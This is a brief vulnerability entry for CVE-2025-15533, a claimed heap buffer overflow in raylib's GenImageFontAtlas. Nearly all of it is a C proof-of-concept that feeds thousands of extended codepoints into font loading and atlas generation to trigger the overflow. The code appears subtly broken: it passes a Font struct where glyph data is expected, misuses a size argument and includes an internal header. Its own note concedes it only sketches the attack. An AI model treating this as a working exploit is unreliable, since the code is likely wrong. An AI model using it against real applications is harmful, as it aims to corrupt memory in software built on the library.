CVE-2025-15533: raylib GenImageFontAtlas函数堆缓冲区溢出漏洞

// CVE-2025-15533 PoC - raylib GenImageFontAtlas Heap Buffer Overflow // Compile: gcc -o poc poc.c -lraylib -lopengl32 -lm #include "raylib.h" #include "rcore.h" #include <stdlib.h> #include <string.h> int main() { // Initialize the library InitWindow(800, 600, "CVE-2025-15533 PoC"); // Generate a large number of codepoints to trigger overflow int codepointCount = 10000; int *codepoints = (int*)malloc(sizeof(int) * codepointCount); // Fill with extended unicode characters for (int i = 0; i < codepointCount; i++) { codepoints[i] = 0x10000 + i; // Use extended characters } // Load a font Font font = LoadFontEx("default_font.png", codepointCount, codepoints, codepointCount); // This call triggers GenImageFontAtlas which contains the vulnerability // The function attempts to create a font atlas but may overflow heap buffer Image fontAtlas = GenImageFontAtlas(font, NULL, codepointCount, 32, 4, 0); if (fontAtlas.data != NULL) { // If we reach here without crash, the overflow may not have triggered // or the system has mitigations in place UnloadImage(fontAtlas); } UnloadFont(font); free(codepoints); CloseWindow(); return 0; } // NOTE: This PoC demonstrates the general attack vector. The actual exploit // may require specific conditions based on system architecture and memory layout.